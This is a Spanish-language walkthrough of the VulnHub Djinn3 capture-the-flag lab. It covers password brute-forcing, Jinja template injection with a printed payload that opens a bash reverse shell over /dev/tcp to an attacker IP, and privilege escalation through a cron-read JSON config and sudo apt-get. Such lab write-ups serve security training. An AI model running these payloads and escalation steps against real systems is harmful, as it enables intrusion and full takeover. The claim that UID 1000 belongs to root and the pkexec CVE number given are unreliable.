VulnHub - Djinn3 CTF Walkthrough

Descripción: La máquina es compatible con VirtualBox y VMWare. El DHCP asignará una IP automáticamente. Verá la IP directamente en la pantalla de inicio de sesión. Debe leer el indicador raíz.

Como se muestra en la siguiente imagen la dirección IP de la máquina es: 192.168.50.218.
Inittial screen target machine
Pantalla de inicio máquina objetivo.
Otra forma de identificar nuestra máquina objetivo sería utilizando la herramienta NetDiscover.

Luego de reconocer nuestra máquina objetivo utilizaremos la herramienta Nmap para enumerar los servicios en ejecución.
nmap -sS
Escaneo nmap enumeración de puertos abiertos.
nmap -sV
Escaneo nmap enumeración de versión de servicios.
Los puertos abiertos en la máquina son:
De momento con el servicio SSH no podemos hacer mucho, ya que no contamos con credenciales de usuarios.

Por otro lado, en el puerto 80 HTTP se muestra lo siguiente.
index.html
Analizando la pagina web no encontré nada interesante.

En el puerto 5000 se esta ejecutando werkezeug que es una colección de bibliotecas para crear aplicaciones web basado en lenguaje Python. Al cargar la página web en mi navegador se muestra lo siguiente.
werkezeug
Se muestra un sistema de ticket en desarrollo, también podemos concluir que la página web está programada en Python quizás con el framework Flask, Bottle, Django. Por lo tanto, la página puede ser vulnerable a SSTI (Server Site Template Injection).

Por ultimo tenemos el puerto 31337 que al cargar en el navegador web muestra lo siguiente.
servicio elite
Llamo mi atención este servicios, por lo tanto, analizaré este puerto con la herramienta telnet.
telnet
Como se muestra en la imagen anterior el servicio requiere de autenticación por lo que podemos realizar un ataque de contraseña mediante la técnica de fuerza bruta. Ahora como no tenemos posibles usuarios o contraseñas para probar, utilizaré de secList el archivo 2023-200_most_used_passwords.txt.  A sumiré que tanto el username y password es la misma con este también incluyo las contraseñas por defecto.

Ahora para automatizar este proceso crearé un script en Python para probar cada de las password del archivo 2023-200_most_used_passwords.txt.
script-python-fuerza-bruta

Al ejecutar nuestro script obtuvimos la siguiente credencial valida guest. Nuevamente me conectaré a través de la herramienta Netcat para probar las contraseñas.
netcat
Al parecer este servicio está enlazado con el servicio web en el puerto 5000. analizaré las opciones que nos da comando help de la aplicación.
servicio elite
Como se muestra en la siguiente imagen con la opción open podemos crear un ticket. Debemos ver si este se muestra en el servicio web ejecutado en el puerto 5000.
create_ticket
En la página web como se muestra en la siguiente imagen se muestra el ticket de prueba creado.
En este punto sabemos que la web se ejecuta con werkezeug y Python, por lo tanto, verificaré si la web es vulnerable a SSTI(Server Site Template Injection) en el caso que se este ejecutando motor de creador de template Jinja.

Jinja para interactuar con código Python utiliza el termino "tags template". Un tag template permite ejecutar estructura de control y expandir variables basados en Python. Su sintaxis es la siguiente {{ variable / estructura de control (IF-FOR-WHILE)}}. 

Ahora para verificar que la web es vulnerable a SSTI bastaría con crear un ticket y su descripción ingresar el siguiente tag template {{ 4 + 4}}. Si la web es vulnerable a SSTI esta debería mostrar el resultado de interpretar tag template, en este caso el resultado de sumar 4+4 que seria igual 8.
PoC SSTI
Una vez el ticket es creado verifiquemos si tag template es procesado por la página web.
tag template.
La prueba indica que el servidor es vulnerable a SSTI. Ahora intentaremos de ejecutar una reverse shell a partir de esta vulnerabilidad.

Utilizaré la siguiente payload de Github Pyaloadallthethings:
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/192.168.50.231/443 0>&1"').read() }}

Nota: en la línea de código /dev/tcp/[IP máquina atacante]/[puerto maquina atacante], debes modificar por la dirección IP y puerto de tu máquina atacante.

Solo queda crear un nuevo ticket y en el campo description agregar el payload. Luego en nuestra maquina atacante con la herramienta Netcat configurar el puerto 443 en escucha para obtener la conexión con la máquina objetivo.
payload
Una vez creado el ticket con el payload, debemos poner en escucha el puerto 443 en nuestra máquina atacante.
nc -lnvp 443
Ahora debemos cargar la web ticket en el navegador web y hacer cli en vínculo link. para que el payload sea interpretado por Python y se conecte la máquina objetivo a nuestra máquina atacante.
payload-web
payload execution
En nuestra máquina atacante obtenemos una conexión desde la máquina objetivo a nuestra máquina atacante.
reverse_shell
Como se muestra en la siguiente imagen somos el usuario www-data y no tiene ningún permiso sudo.
www-data
Ahora listaré los usuarios del sistema, debemos cambiarnos al directorio home listar el directorio.
system user
Por el momento no tenemos acceso a ninguno de estos directorio de usuarios. Ahora enumeraré archivos que tengan SUID activo para poder elevar privilegios.
find / -perm -4000
En este punto podría explotar la vulnerabilidad pkexec (cve-2021-4043), pero les adelanto que no funcionará explotar esta vulnerabilidad. Por lo tanto, debemos analizar aún más la máquina.

Utilizaré la herramienta pspy para monitorear los proceso que se están ejecutando en la máquina objetivo.

Descargaré en la máquina objetivo la herramienta pspy directamente, como se muestra en la siguiente imagen.
pspy
Luego de descargarlo debemos dar permiso de ejecución el archivo pspy.
chmod +x pspy
Ahora solo queda ejecutar pspy.
pspy
Se debe dejar un rato en ejecución la herramienta pspy, luego de un tiempo este muestra que el usuario saint ejecuta el archivo syncer.py.

Aquí debemos analizar el código del archivo syncer.py. El script syncer.py parece estar diseñado para sincronizar archivos mediante diferentes protocolos de transferencia (FTP, SSH o mediante una URL). Su ejecución sigue esta secuencia:

1. Importaciones
  • Se importan módulos personalizados:
    • configuration: Probablemente maneja la lectura de configuraciones.
    • connectors.ftpconn: Contiene la funcionalidad de conexión FTP.
    • connectors.sshconn: Maneja la conexión por SSH.
    • connectors.utils: Podría contener funciones auxiliares para la sincronización.
2. Función main ()
  • Lee la configuración:
    • ConfigReader.set_config_path(): Establece la ruta del archivo de configuración.
    • ConfigReader.read_config(configPath): Lee la configuración desde el archivo.
  • Verifica qué tipo de conexión usar:
    • checker(config): Determina qué conexiones están disponibles.
  • Establece conexión y sincroniza:
    • Si hay configuración para FTP, llama a ftpcon(config["FTP"]).
    • Si hay configuración para SSH, llama a sshcon(config["SSH"]).
    • Si hay una URL configurada, usa sync(config["URL"], config["Output"]).
Ahora con el análisis el archivo syncer.py nos damos cuenta que el archivo configuration esta relacionado con el archivo syncer.  Por lo tanto ahora analizaremos el archivo configuration.

El archivo configuration está diseñado para leer archivos de formato JSON. en un sistema Linux.

1. Importaciones
El código importa varios modulos estándar.
  • os, sys: Para manipulación del sistema de archivos y salidas.
  • json: Para leer archivos de configuración en formato JSON.
  • glob: Para buscar archivos en rutas específicas.
  • datetime.datetime (renombrado como dt): Para comparar fechas en los nombres de archivos.
2. Clases ConfigReader
La clase ConfigReader tiene dos métodos estáticos.
read_config(path)
  • Declara config_values como un diccionario vacío.
  • Intenta abrir y leer un archivo JSON.
  • Si ocurre un error, imprime un mensaje y finaliza el programa con sys.exit(1).
  • En el bloque finally, se elimina la variable "e" tras capturar una excepción, aunque no tiene impacto funcional.
  • Si la lectura es exitosa, devuelve config_values.
set_config_path()
  • Busca archivos JSON en:
    • /home/saint/
    • /tmp/
  • Combina ambas listas de archivos en files.
  • Si hay más de dos archivos, intenta limitar la lista de archivos con files = files[None[:2]], lo cual genera un error.
  • Extrae y compara fechas de los nombres de archivo para seleccionar el más reciente.
  • Si ocurre un error, finaliza el programa con sys.exit(1).
  • Devuelve la ruta del archivo seleccionado.

Conclusiones

Propósito del código

  • Se encarga de leer una configuración almacenada en un archivo JSON (en /home/saint/ o /tmp/).
  • Analiza qué tipo de conexión debe establecerse (FTP, SSH o una URL para sincronización).
  • Ejecuta la acción correspondiente basada en la configuración.
  1. Flujo general

    • Se determina el archivo JSON más reciente.
    • Se extraen los datos de configuración.
    • Se verifica qué tipo de conexión es requerida.
    • Se ejecuta la conexión correspondiente (FTP, SSH o sincronización de URL).
El código está diseñado para automatizar conexiones mediante una configuración previa, posiblemente ejecutado en un cron job, como sugiere el comentario en main().

Sabemos que el archivo configuration.py buscar archivos en formato JSON con un formato de nombre específico [Fecha(%d %m %Y).config.json] en los directorios /home/saint/ y /tmp/. Luego este archivo es importado en el archivo syncer.py, este archivo analizar las propiedades del archivo JSON si en el archivo tiene la propiedad (URL, SSH, FTP) sincroniza una conexión. En este punto hay algo interesante, cuando el archivo syncer.py evaluá la proiedad "URL" del archivo JSON, también evalua una segunda propiedad "Output". La propiedad "Output" sugiere que algo se va escribir según su valor.

Realizaré la siguiente prueba crearé un archivo en la máquina objetivo con el siguiente nombre: 12-03-2025.config.json con la siguiente estructura json.
{
    "URL":"http://192.168.50.231/test",
    "Output":"/tmp"
}

Donde la propiedad URL apunta a mi máquina atacante al recurso test, donde test es una archivo regular y la propiedad Output indica que el archivo test debe almacenarse en el directorio /tmp de la máquina objetivo.

python3 -m http.server 80
Luego de crear el archivo test y levantar un servidor web con Python en la máquina atacante, solo queda crear el archivo JSON en la máquina victima.
peticion maquina objetivo
Ahora solo queda esperar que se ejecute la petición desde la máquina objetivo.
peticion-maquina-objetivo
Como se muestra en la imagen anterior la máquina objetivo solicito nuestro archivo de prueba y se almaceno en el directorio /tmp en la máquina objetivo.
resultado-peticion-objetivo
contenido archivo prueba
Como se muestra en la imagen anterior, se crea el archivo prueba perteneciente al usuario saint con el contenido de nuestro archivo test. Esto indica una potencial vía para elevar privilegio al usuario saint.

Recordemos que el puerto 22 SSH esta abierto, por lo tanto, crearé un par de claves pública y privada para conectarme al servicio SSH de la máquina objetivo. Para enviar nuestra clave pública utilizaré el mismo procedimiento que utilizamos para enviar nuestro archivo de prueba a través del archivo JSON.
Con la utilidad ssh-keygen creamos las claves estas se guardan en el directorio /home/kali/.ssh. Por último debemos crear el archivo authorized_keys, este archivo es utilizado por Linux para almacenar claves públicas SSH autorizada.
authorize_keys
Ahora modificaré el archivo JSON de la máquina objetivo. Con esto la máquina objetivo solicitará nuestro archivo authorized_keys que contiene nuestra clave pública. para almacenarlo en el directorio /home/saint/.ssh/authorized_keys.
json maquina objetivo
Ahora solo queda esperar la solicitud de la máquina objetivo.
solicitud maquina objetivo
Hasta aquí al parecer todo va bien.

Por último, solo nos queda conectar a la máquina objetivo a través de SSH.
ssh
En este punto obtuvimos una conexión SSH con usuario saint, ahora veremos que permiso tiene el usuario saint.
sudo -l
En usuario saint tiene permiso para crear usuario, en este punto podráamos crear un usuario con con GID = 0 o UID = 0.   Cabe mencionar que, el GID (Group ID) y UID (User ID) son identificadores numéricos que el sistema Linux usa para gestionar los permisos de usuario y grupos del sistema.

En este caso no podemos crear un usuario con el UID(User ID) = 0 este UID está reservado para el usuario root.
UID Linux
Lo que si podemos hacer es crear un usuario que pertenezca al GID(Group ID) = 0 es que es el grupo root.
adduser Linux
id homeless
Ahora cambiamos al usuario que acabamos de crear en mi caso es homeless.
su homeless
Si bien es cierto que pertenecemos al grupo root no podemos acceder al directorio /home/root como se muestra en la siguiente imagen.
Ahora analizaré los usuarios con UID mayores a 1000. Recordemos que en sistemas Linux para usuario generales (es decir, que representan personas) se le asigna UID mayor a 1000 y el UID 1000 está reservado para el usuario root.
Compararé estos usuarios con el archivo sudores.
El archivo sudoers en Linux es un archivo de configuración que define quién puede usar el comando sudo y qué permisos tiene. Como se muestra en la imagen anterior el usuario jason puede ejecutar el comando apt-get como root sin autenticarse. El usuario jason no es un usuario del sistema activo, por lo tanto, podríamos crear el usuario jason y en el sistema y aprovechar la ejecución del comando para escalar privilegio a root. Para elevar privilegio a root utilizaré el siguiente comando sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash.
Ahora cambiaremos al usuario jason.
Por último, ejecutaremos el comando  sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash.
elevacion-root
Ahora lo único que nos falta es encontrar la flag root.
flag-root
Happy Hack!!!

Comentarios